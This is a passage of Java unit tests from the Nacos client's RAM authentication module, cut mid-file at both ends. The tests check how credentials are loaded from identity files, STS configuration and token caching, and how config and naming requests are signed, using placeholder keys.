IllegalAccessException {\n        URL url = CredentialWatcherTest.class.getClassLoader().getResource(\"spas.identity\");\n        System.setProperty(\"spas.identity\", url.getPath());\n        final AtomicReference<String> readAk = new AtomicReference<>(\"\");\n        final AtomicReference<String> readSK = new AtomicReference<>(\"\");\n        final AtomicReference<String> readTenantId = new AtomicReference<>(\"\");\n        doAnswer(invocationOnMock -> {\n            Credentials credentials = invocationOnMock.getArgument(0, Credentials.class);\n            readAk.set(credentials.getAccessKey());\n            readSK.set(credentials.getSecretKey());\n            readTenantId.set(credentials.getTenantId());\n            return null;\n        }).when(credentialService).setCredential(any());\n        loadCredentialMethod.invoke(credentialWatcher, true);\n        assertEquals(\"testAk\", readAk.get());\n        assertEquals(\"testSk\", readSK.get());\n        assertEquals(\"testTenantId\", readTenantId.get());\n    }\n    \n    @Test\n    void testLoadCredentialByInvalidIdentityFile() throws InvocationTargetException, IllegalAccessException {\n        URL url = CredentialWatcherTest.class.getClassLoader().getResource(\"spas_invalid.identity\");\n        System.setProperty(\"spas.identity\", url.getPath());\n        final AtomicReference<String> readAk = new AtomicReference<>(\"\");\n        final AtomicReference<String> readSK = new AtomicReference<>(\"\");\n        final AtomicReference<String> readTenantId = new AtomicReference<>(\"\");\n        doAnswer(invocationOnMock -> {\n            Credentials credentials = invocationOnMock.getArgument(0, Credentials.class);\n            readAk.set(credentials.getAccessKey());\n            readSK.set(credentials.getSecretKey());\n            readTenantId.set(credentials.getTenantId());\n            return null;\n        }).when(credentialService).setCredential(any());\n        loadCredentialMethod.invoke(credentialWatcher, true);\n        assertEquals(\"\", readAk.get());\n        assertEquals(\"testSk\", readSK.get());\n        assertEquals(\"testTenantId\", readTenantId.get());\n    }\n    \n    /**\n     * The docker file is need /etc permission, which depend environment. So use mock InputStream to test.\n     */\n    @Test\n    void testLoadCredentialByDockerFile()\n            throws FileNotFoundException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {\n        URL url = CredentialWatcherTest.class.getClassLoader().getResource(\"spas_docker.identity\");\n        InputStream propertiesIS = new FileInputStream(url.getPath());\n        Credentials actual = new Credentials();\n        Field propertyPathField = CredentialWatcher.class.getDeclaredField(\"propertyPath\");\n        propertyPathField.setAccessible(true);\n        propertyPathField.set(credentialWatcher, IdentifyConstants.DOCKER_CREDENTIAL_PATH);\n        loadCredentialFromPropertiesMethod.invoke(credentialWatcher, propertiesIS, true, actual);\n        assertEquals(\"testAk\", actual.getAccessKey());\n        assertEquals(\"testSk\", actual.getSecretKey());\n        assertEquals(\"testTenantId\", actual.getTenantId());\n    }\n    \n    @Test\n    void testLoadCredentialByFileWithIoException()\n            throws IOException, InvocationTargetException, IllegalAccessException {\n        InputStream propertiesIS = mock(InputStream.class);\n        when(propertiesIS.read(any())).thenThrow(new IOException(\"test\"));\n        doThrow(new IOException(\"test\")).when(propertiesIS).close();\n        Credentials actual = new Credentials();\n        loadCredentialFromPropertiesMethod.invoke(credentialWatcher, propertiesIS, true, actual);\n        assertNull(actual.getAccessKey());\n        assertNull(actual.getSecretKey());\n        assertNull(actual.getTenantId());\n    }\n    \n    @Test\n    void testReLoadCredential() throws InvocationTargetException, IllegalAccessException, InterruptedException {\n        URL url = CredentialWatcherTest.class.getClassLoader().getResource(\"spas_modified.identity\");\n        modifiedFile(url, true);\n        System.setProperty(\"spas.identity\", url.getPath());\n        final AtomicReference<String> readAk = new AtomicReference<>(\"\");\n        final AtomicReference<String> readSK = new AtomicReference<>(\"\");\n        final AtomicReference<String> readTenantId = new AtomicReference<>(\"\");\n        doAnswer(invocationOnMock -> {\n            Credentials credentials = invocationOnMock.getArgument(0, Credentials.class);\n            readAk.set(credentials.getAccessKey());\n            readSK.set(credentials.getSecretKey());\n            readTenantId.set(credentials.getTenantId());\n            return null;\n        }).when(credentialService).setCredential(any());\n        loadCredentialMethod.invoke(credentialWatcher, true);\n        assertEquals(\"testAk\", readAk.get());\n        assertEquals(\"testSk\", readSK.get());\n        assertNull(readTenantId.get());\n        // waiting reload thread work\n        modifiedFile(url, false);\n        TimeUnit.MILLISECONDS.sleep(10500);\n        assertEquals(\"testAk\", readAk.get());\n        assertEquals(\"testSk\", readSK.get());\n        assertEquals(\"testTenantId\", readTenantId.get());\n    }\n    \n    private boolean modifiedFile(URL url, boolean init) {\n        File file = new File(url.getPath());\n        boolean result;\n        try (BufferedWriter bw = new BufferedWriter(new FileWriter(file))) {\n            if (init) {\n                bw.write(\"accessKey=testAk\\nsecretKey=testSk\");\n            } else {\n                bw.write(\"accessKey=testAk\\nsecretKey=testSk\\ntenantId=testTenantId\");\n            }\n            bw.flush();\n            result = true;\n        } catch (IOException ignored) {\n            result = false;\n        }\n        return result;\n    }\n}\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/ram/identify/CredentialsTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass CredentialsTest {\n    \n    @Test\n    void testGetter() {\n        // given\n        String ak = \"ak\";\n        String sk = \"sk\";\n        String tenantId = \"100\";\n        Credentials credentials = new Credentials(ak, sk, tenantId);\n        // when  then\n        assertEquals(ak, credentials.getAccessKey());\n        assertEquals(sk, credentials.getSecretKey());\n        assertEquals(tenantId, credentials.getTenantId());\n    }\n    \n    @Test\n    void testSetter() {\n        //given\n        String ak = \"ak\";\n        String sk = \"sk\";\n        String tenantId = \"100\";\n        Credentials credentials = new Credentials();\n        //when\n        credentials.setAccessKey(ak);\n        credentials.setSecretKey(sk);\n        credentials.setTenantId(tenantId);\n        //then\n        assertEquals(ak, credentials.getAccessKey());\n        assertEquals(sk, credentials.getSecretKey());\n        assertEquals(tenantId, credentials.getTenantId());\n    }\n    \n    @Test\n    void testValid() {\n        //given\n        String ak = \"ak\";\n        String sk = \"sk\";\n        String tenantId = \"100\";\n        Credentials credentials = new Credentials(ak, sk, tenantId);\n        //when\n        boolean actual = credentials.valid();\n        //then\n        assertTrue(actual);\n    }\n    \n    @Test\n    void testIdentical() {\n        //given\n        String ak = \"ak\";\n        String sk = \"sk\";\n        String tenantId = \"100\";\n        Credentials credentials1 = new Credentials(ak, sk, \"101\");\n        Credentials credentials2 = new Credentials(ak, sk, \"100\");\n        //then\n        boolean actual = credentials1.identical(credentials2);\n        //then\n        assertTrue(actual);\n    }\n}\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/ram/identify/StsConfigTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationTargetException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass StsConfigTest {\n    \n    private static void resetStsConfig() {\n        StsConfig.getInstance().setRamRoleName(null);\n        StsConfig.getInstance().setTimeToRefreshInMillisecond(3 * 60 * 1000);\n        StsConfig.getInstance().setCacheSecurityCredentials(true);\n        StsConfig.getInstance().setSecurityCredentials(null);\n        StsConfig.getInstance().setSecurityCredentialsUrl(null);\n        System.clearProperty(IdentifyConstants.RAM_ROLE_NAME_PROPERTY);\n        System.clearProperty(IdentifyConstants.REFRESH_TIME_PROPERTY);\n        System.clearProperty(IdentifyConstants.SECURITY_PROPERTY);\n        System.clearProperty(IdentifyConstants.SECURITY_URL_PROPERTY);\n        System.clearProperty(IdentifyConstants.SECURITY_CACHE_PROPERTY);\n    }\n    \n    @BeforeEach\n    void before() {\n        resetStsConfig();\n    }\n    \n    @AfterEach\n    void after() {\n        resetStsConfig();\n    }\n    \n    @Test\n    void testGetInstance() {\n        StsConfig instance1 = StsConfig.getInstance();\n        StsConfig instance2 = StsConfig.getInstance();\n        assertEquals(instance1, instance2);\n        \n    }\n    \n    @Test\n    void testGetRamRoleName() {\n        StsConfig.getInstance().setRamRoleName(\"test\");\n        assertEquals(\"test\", StsConfig.getInstance().getRamRoleName());\n        \n    }\n    \n    @Test\n    void testGetTimeToRefreshInMillisecond() {\n        assertEquals(3 * 60 * 1000, StsConfig.getInstance().getTimeToRefreshInMillisecond());\n        StsConfig.getInstance().setTimeToRefreshInMillisecond(3000);\n        assertEquals(3000, StsConfig.getInstance().getTimeToRefreshInMillisecond());\n    }\n    \n    @Test\n    void testGetSecurityCredentialsUrl() {\n        assertNull(StsConfig.getInstance().getSecurityCredentialsUrl());\n        String expect = \"localhost\";\n        StsConfig.getInstance().setSecurityCredentialsUrl(expect);\n        assertEquals(expect, StsConfig.getInstance().getSecurityCredentialsUrl());\n    }\n    \n    @Test\n    void testGetSecurityCredentialsUrlDefault() {\n        StsConfig.getInstance().setRamRoleName(\"test\");\n        assertEquals(\"http://100.100.100.200/latest/meta-data/ram/security-credentials/test\",\n                StsConfig.getInstance().getSecurityCredentialsUrl());\n    }\n    \n    @Test\n    void testGetSecurityCredentials() {\n        assertNull(StsConfig.getInstance().getSecurityCredentials());\n        String expect = \"abc\";\n        StsConfig.getInstance().setSecurityCredentials(expect);\n        assertEquals(expect, StsConfig.getInstance().getSecurityCredentials());\n    }\n    \n    @Test\n    void testIsCacheSecurityCredentials() {\n        assertTrue(StsConfig.getInstance().isCacheSecurityCredentials());\n        StsConfig.getInstance().setCacheSecurityCredentials(false);\n        assertFalse(StsConfig.getInstance().isCacheSecurityCredentials());\n    }\n    \n    @Test\n    void testIsOnFalse() {\n        boolean stsOn = StsConfig.getInstance().isStsOn();\n        assertFalse(stsOn);\n    }\n    \n    @Test\n    void testIsOnTrue() {\n        StsConfig.getInstance().setSecurityCredentials(\"abc\");\n        boolean stsOn = StsConfig.getInstance().isStsOn();\n        assertTrue(stsOn);\n    }\n    \n    @Test\n    void testFromEnv()\n            throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {\n        Constructor<StsConfig> constructor = StsConfig.class.getDeclaredConstructor();\n        constructor.setAccessible(true);\n        System.setProperty(IdentifyConstants.RAM_ROLE_NAME_PROPERTY, \"test\");\n        System.setProperty(IdentifyConstants.REFRESH_TIME_PROPERTY, \"3000\");\n        System.setProperty(IdentifyConstants.SECURITY_PROPERTY, \"abc\");\n        System.setProperty(IdentifyConstants.SECURITY_URL_PROPERTY, \"localhost\");\n        System.setProperty(IdentifyConstants.SECURITY_CACHE_PROPERTY, \"false\");\n        StsConfig stsConfig = constructor.newInstance();\n        assertEquals(\"test\", stsConfig.getRamRoleName());\n        assertEquals(3000, stsConfig.getTimeToRefreshInMillisecond());\n        assertEquals(\"abc\", stsConfig.getSecurityCredentials());\n        assertEquals(\"localhost\", stsConfig.getSecurityCredentialsUrl());\n        assertFalse(stsConfig.isCacheSecurityCredentials());\n        \n    }\n}\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/ram/identify/StsCredentialHolderTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.common.http.HttpClientBeanHolder;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.util.Date;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass StsCredentialHolderTest {\n    \n    private String securityCredentialsUrl;\n    \n    private NacosRestTemplate cachedNacosRestTemplate;\n    \n    @Mock\n    private HttpRestResult mockResult;\n    \n    @Mock\n    private NacosRestTemplate nacosRestTemplate;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        securityCredentialsUrl = StsConfig.getInstance().getSecurityCredentialsUrl();\n        StsConfig.getInstance().setSecurityCredentialsUrl(\"url\");\n        Field restMapField = HttpClientBeanHolder.class.getDeclaredField(\"SINGLETON_REST\");\n        restMapField.setAccessible(true);\n        Map<String, NacosRestTemplate> restMap = (Map<String, NacosRestTemplate>) restMapField.get(null);\n        cachedNacosRestTemplate = restMap.get(\n                \"com.alibaba.nacos.client.remote.HttpClientManager$HttpClientFactory\");\n        restMap.put(\"com.alibaba.nacos.client.remote.HttpClientManager$HttpClientFactory\", nacosRestTemplate);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        StsConfig.getInstance().setSecurityCredentials(null);\n        StsConfig.getInstance().setSecurityCredentialsUrl(securityCredentialsUrl);\n        if (null != cachedNacosRestTemplate) {\n            Field restMapField = HttpClientBeanHolder.class.getDeclaredField(\"SINGLETON_REST\");\n            restMapField.setAccessible(true);\n            Map<String, NacosRestTemplate> restMap = (Map<String, NacosRestTemplate>) restMapField.get(null);\n            restMap.put(\"com.alibaba.nacos.client.remote.HttpClientManager$HttpClientFactory\",\n                    cachedNacosRestTemplate);\n        }\n        clearForSts();\n    }\n    \n    private void clearForSts() throws NoSuchFieldException, IllegalAccessException {\n        StsConfig.getInstance().setSecurityCredentialsUrl(null);\n        Field field = StsCredentialHolder.class.getDeclaredField(\"stsCredential\");\n        field.setAccessible(true);\n        field.set(StsCredentialHolder.getInstance(), null);\n    }\n    \n    @Test\n    void testGetStsCredentialFromCache() throws NoSuchFieldException, IllegalAccessException {\n        StsCredential stsCredential = buildMockStsCredential();\n        setStsCredential(stsCredential);\n        assertEquals(stsCredential, StsCredentialHolder.getInstance().getStsCredential());\n    }\n    \n    private void setStsCredential(StsCredential stsCredential) throws NoSuchFieldException, IllegalAccessException {\n        Field field = StsCredentialHolder.class.getDeclaredField(\"stsCredential\");\n        field.setAccessible(true);\n        field.set(StsCredentialHolder.getInstance(), stsCredential);\n    }\n    \n    @Test\n    void testGetStsCredentialFromStringCache() throws NoSuchFieldException, IllegalAccessException {\n        StsCredential stsCredential = buildMockStsCredential();\n        StsConfig.getInstance().setSecurityCredentials(JacksonUtils.toJson(stsCredential));\n        assertEquals(stsCredential.toString(), StsCredentialHolder.getInstance().getStsCredential().toString());\n    }\n    \n    @Test\n    void testGetStsCredentialFromRequest() throws Exception {\n        StsCredential stsCredential = buildMockStsCredential();\n        mockResult = new HttpRestResult<String>();\n        mockResult.setData(JacksonUtils.toJson(stsCredential));\n        mockResult.setCode(200);\n        when(nacosRestTemplate.get(any(), any(), any(), any())).thenReturn(mockResult);\n        assertEquals(stsCredential.toString(), StsCredentialHolder.getInstance().getStsCredential().toString());\n    }\n    \n    @Test\n    void testGetStsCredentialFromRequestFailure() throws Exception {\n        assertThrows(NacosRuntimeException.class, () -> {\n            mockResult = new HttpRestResult<String>();\n            mockResult.setData(\"\");\n            mockResult.setCode(500);\n            when(nacosRestTemplate.get(any(), any(), any(), any())).thenReturn(mockResult);\n            StsCredentialHolder.getInstance().getStsCredential();\n        });\n    }\n    \n    @Test\n    void testGetStsCredentialFromRequestException() throws Exception {\n        assertThrows(NacosRuntimeException.class, () -> {\n            when(nacosRestTemplate.get(any(), any(), any(), any())).thenThrow(new RuntimeException(\"test\"));\n            StsCredentialHolder.getInstance().getStsCredential();\n        });\n    }\n    \n    private StsCredential buildMockStsCredential() {\n        StsCredential stsCredential = new StsCredential();\n        stsCredential.setAccessKeyId(\"test-sts-ak\");\n        stsCredential.setAccessKeySecret(\"test-sts-sk\");\n        stsCredential.setSecurityToken(\"test-sts-token\");\n        stsCredential.setExpiration(new Date(System.currentTimeMillis() + 1000000));\n        stsCredential.setCode(\"200\");\n        stsCredential.setLastUpdated(new Date());\n        return stsCredential;\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/ram/injector/AbstractResourceInjectorTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.injector;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nclass AbstractResourceInjectorTest {\n    \n    AbstractResourceInjector injector;\n    \n    @BeforeEach\n    void setUp() {\n        injector = new AbstractResourceInjector() {\n        };\n    }\n    \n    /**\n     * TODO, fill test case after AbstractResourceInjector include default logic.\n     */\n    @Test\n    void testDoInject() {\n        injector.doInject(null, null, null);\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/ram/injector/ConfigResourceInjectorTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.injector;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.client.auth.ram.RamConstants;\nimport com.alibaba.nacos.client.auth.ram.RamContext;\nimport com.alibaba.nacos.client.auth.ram.identify.IdentifyConstants;\nimport com.alibaba.nacos.client.auth.ram.identify.StsConfig;\nimport com.alibaba.nacos.client.auth.ram.identify.StsCredential;\nimport com.alibaba.nacos.client.auth.ram.identify.StsCredentialHolder;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Field;\nimport java.util.Date;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigResourceInjectorTest {\n    \n    private ConfigResourceInjector configResourceInjector;\n    \n    private RamContext ramContext;\n    \n    private RequestResource resource;\n    \n    private String cachedSecurityCredentialsUrl;\n    \n    private String cachedSecurityCredentials;\n    \n    private StsCredential stsCredential;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        configResourceInjector = new ConfigResourceInjector();\n        ramContext = new RamContext();\n        ramContext.setAccessKey(PropertyKeyConst.ACCESS_KEY);\n        ramContext.setSecretKey(PropertyKeyConst.SECRET_KEY);\n        resource = new RequestResource();\n        resource.setType(SignType.CONFIG);\n        resource.setNamespace(\"tenant\");\n        resource.setGroup(\"group\");\n        cachedSecurityCredentialsUrl = StsConfig.getInstance().getSecurityCredentialsUrl();\n        cachedSecurityCredentials = StsConfig.getInstance().getSecurityCredentials();\n        StsConfig.getInstance().setSecurityCredentialsUrl(\"\");\n        StsConfig.getInstance().setSecurityCredentials(\"\");\n        stsCredential = new StsCredential();\n    }\n    \n    @AfterEach\n    void tearDown() throws NoSuchFieldException, IllegalAccessException {\n        StsConfig.getInstance().setSecurityCredentialsUrl(cachedSecurityCredentialsUrl);\n        StsConfig.getInstance().setSecurityCredentials(cachedSecurityCredentials);\n        clearForSts();\n    }\n    \n    @Test\n    void testDoInjectWithFullResource() throws Exception {\n        LoginIdentityContext actual = new LoginIdentityContext();\n        configResourceInjector.doInject(resource, ramContext, actual);\n        assertEquals(3, actual.getAllKey().size());\n        assertEquals(PropertyKeyConst.ACCESS_KEY, actual.getParameter(\"Spas-AccessKey\"));\n        assertTrue(actual.getAllKey().contains(\"Timestamp\"));\n        assertTrue(actual.getAllKey().contains(\"Spas-Signature\"));\n    }\n    \n    @Test\n    void testDoInjectWithTenant() throws Exception {\n        resource.setGroup(\"\");\n        LoginIdentityContext actual = new LoginIdentityContext();\n        configResourceInjector.doInject(resource, ramContext, actual);\n        assertEquals(3, actual.getAllKey().size());\n        assertEquals(PropertyKeyConst.ACCESS_KEY, actual.getParameter(\"Spas-AccessKey\"));\n        assertTrue(actual.getAllKey().contains(\"Timestamp\"));\n        assertTrue(actual.getAllKey().contains(\"Spas-Signature\"));\n    }\n    \n    @Test\n    void testDoInjectWithGroup() throws Exception {\n        resource.setNamespace(\"\");\n        LoginIdentityContext actual = new LoginIdentityContext();\n        configResourceInjector.doInject(resource, ramContext, actual);\n        assertEquals(3, actual.getAllKey().size());\n        assertEquals(PropertyKeyConst.ACCESS_KEY, actual.getParameter(\"Spas-AccessKey\"));\n        assertTrue(actual.getAllKey().contains(\"Timestamp\"));\n        assertTrue(actual.getAllKey().contains(\"Spas-Signature\"));\n    }\n    \n    @Test\n    void testDoInjectWithoutResource() throws Exception {\n        resource = new RequestResource();\n        LoginIdentityContext actual = new LoginIdentityContext();\n        configResourceInjector.doInject(resource, ramContext, actual);\n        assertEquals(3, actual.getAllKey().size());\n        assertEquals(PropertyKeyConst.ACCESS_KEY, actual.getParameter(\"Spas-AccessKey\"));\n        assertTrue(actual.getAllKey().contains(\"Timestamp\"));\n        assertTrue(actual.getAllKey().contains(\"Spas-Signature\"));\n    }\n    \n    @Test\n    void testDoInjectForSts() throws NoSuchFieldException, IllegalAccessException {\n        prepareForSts();\n        LoginIdentityContext actual = new LoginIdentityContext();\n        configResourceInjector.doInject(resource, ramContext, actual);\n        assertEquals(4, actual.getAllKey().size());\n        assertEquals(\"test-sts-ak\", actual.getParameter(\"Spas-AccessKey\"));\n        assertTrue(actual.getAllKey().contains(\"Timestamp\"));\n        assertTrue(actual.getAllKey().contains(\"Spas-Signature\"));\n        assertTrue(actual.getAllKey().contains(IdentifyConstants.SECURITY_TOKEN_HEADER));\n    }\n    \n    @Test\n    void testDoInjectForV4Sign() {\n        LoginIdentityContext actual = new LoginIdentityContext();\n        ramContext.setRegionId(\"cn-hangzhou\");\n        configResourceInjector.doInject(resource, ramContext, actual);\n        assertEquals(4, actual.getAllKey().size());\n        assertEquals(PropertyKeyConst.ACCESS_KEY, actual.getParameter(\"Spas-AccessKey\"));\n        assertEquals(RamConstants.V4, actual.getParameter(RamConstants.SIGNATURE_VERSION));\n        assertTrue(actual.getAllKey().contains(\"Timestamp\"));\n        assertTrue(actual.getAllKey().contains(\"Spas-Signature\"));\n    }\n    \n    private void prepareForSts() throws NoSuchFieldException, IllegalAccessException {\n        StsConfig.getInstance().setSecurityCredentialsUrl(\"test\");\n        Field field = StsCredentialHolder.class.getDeclaredField(\"stsCredential\");\n        field.setAccessible(true);\n        field.set(StsCredentialHolder.getInstance(), stsCredential);\n        stsCredential.setAccessKeyId(\"test-sts-ak\");\n        stsCredential.setAccessKeySecret(\"test-sts-sk\");\n        stsCredential.setSecurityToken(\"test-sts-token\");\n        stsCredential.setExpiration(new Date(System.currentTimeMillis() + 1000000));\n    }\n    \n    private void clearForSts() throws NoSuchFieldException, IllegalAccessException {\n        StsConfig.getInstance().setSecurityCredentialsUrl(null);\n        Field field = StsCredentialHolder.class.getDeclaredField(\"stsCredential\");\n        field.setAccessible(true);\n        field.set(StsCredentialHolder.getInstance(), null);\n    }\n}\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/ram/injector/NamingResourceInjectorTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.injector;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.client.auth.ram.RamConstants;\nimport com.alibaba.nacos.client.auth.ram.RamContext;\nimport com.alibaba.nacos.client.auth.ram.identify.StsConfig;\nimport com.alibaba.nacos.client.auth.ram.identify.StsCredential;\nimport com.alibaba.nacos.client.auth.ram.identify.StsCredentialHolder;\nimport com.alibaba.nacos.client.auth.ram.utils.CalculateV4SigningKeyUtil;\nimport com.alibaba.nacos.client.auth.ram.utils.SignUtil;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Field;\nimport java.util.Date;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NamingResourceInjectorTest {\n    \n    private NamingResourceInjector namingResourceInjector;\n    \n    private RamContext ramContext;\n    \n    private RequestResource resource;\n    \n    private StsCredential stsCredential;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        namingResourceInjector = new NamingResourceInjector();\n        ramContext = new RamContext();\n        ramContext.setAccessKey(PropertyKeyConst.ACCESS_KEY);\n        ramContext.setSecretKey(PropertyKeyConst.SECRET_KEY);\n        stsCredential = new StsCredential();\n        StsConfig.getInstance().setRamRoleName(null);\n    }\n    \n    @AfterEach\n    void tearDown() throws NoSuchFieldException, IllegalAccessException {\n        clearForSts();\n    }\n    \n    @Test\n    void testDoInjectWithEmpty() throws Exception {\n        resource = RequestResource.namingBuilder().setResource(\"\").build();\n        LoginIdentityContext actual = new LoginIdentityContext();\n        namingResourceInjector.doInject(resource, ramContext, actual);\n        assertEquals(3, actual.getAllKey().size());\n        assertEquals(PropertyKeyConst.ACCESS_KEY, actual.getParameter(\"ak\"));\n        assertTrue(Long.parseLong(actual.getParameter(\"data\")) - System.currentTimeMillis() < 100);\n        String expectSign = SignUtil.sign(actual.getParameter(\"data\"), PropertyKeyConst.SECRET_KEY);\n        assertEquals(expectSign, actual.getParameter(\"signature\"));\n    }\n    \n    @Test\n    void testDoInjectWithGroup() throws Exception {\n        resource = RequestResource.namingBuilder().setResource(\"test@@aaa\").setGroup(\"group\").build();\n        LoginIdentityContext actual = new LoginIdentityContext();\n        namingResourceInjector.doInject(resource, ramContext, actual);\n        assertEquals(3, actual.getAllKey().size());\n        assertEquals(PropertyKeyConst.ACCESS_KEY, actual.getParameter(\"ak\"));\n        assertTrue(actual.getParameter(\"data\").endsWith(\"@@test@@aaa\"));\n        String expectSign = SignUtil.sign(actual.getParameter(\"data\"), PropertyKeyConst.SECRET_KEY);\n        assertEquals(expectSign, actual.getParameter(\"signature\"));\n    }\n    \n    @Test\n    void testDoInjectWithoutGroup() throws Exception {\n        resource = RequestResource.namingBuilder().setResource(\"aaa\").setGroup(\"group\").build();\n        LoginIdentityContext actual = new LoginIdentityContext();\n        namingResourceInjector.doInject(resource, ramContext, actual);\n        assertTrue(actual.getParameter(\"data\").endsWith(\"@@group@@aaa\"));\n        assertEquals(3, actual.getAllKey().size());\n        assertEquals(PropertyKeyConst.ACCESS_KEY, actual.getParameter(\"ak\"));\n        String expectSign = SignUtil.sign(actual.getParameter(\"data\"), PropertyKeyConst.SECRET_KEY);\n        assertEquals(expectSign, actual.getParameter(\"signature\"));\n    }\n    \n    @Test\n    void testDoInjectWithGroupForSts() throws Exception {\n        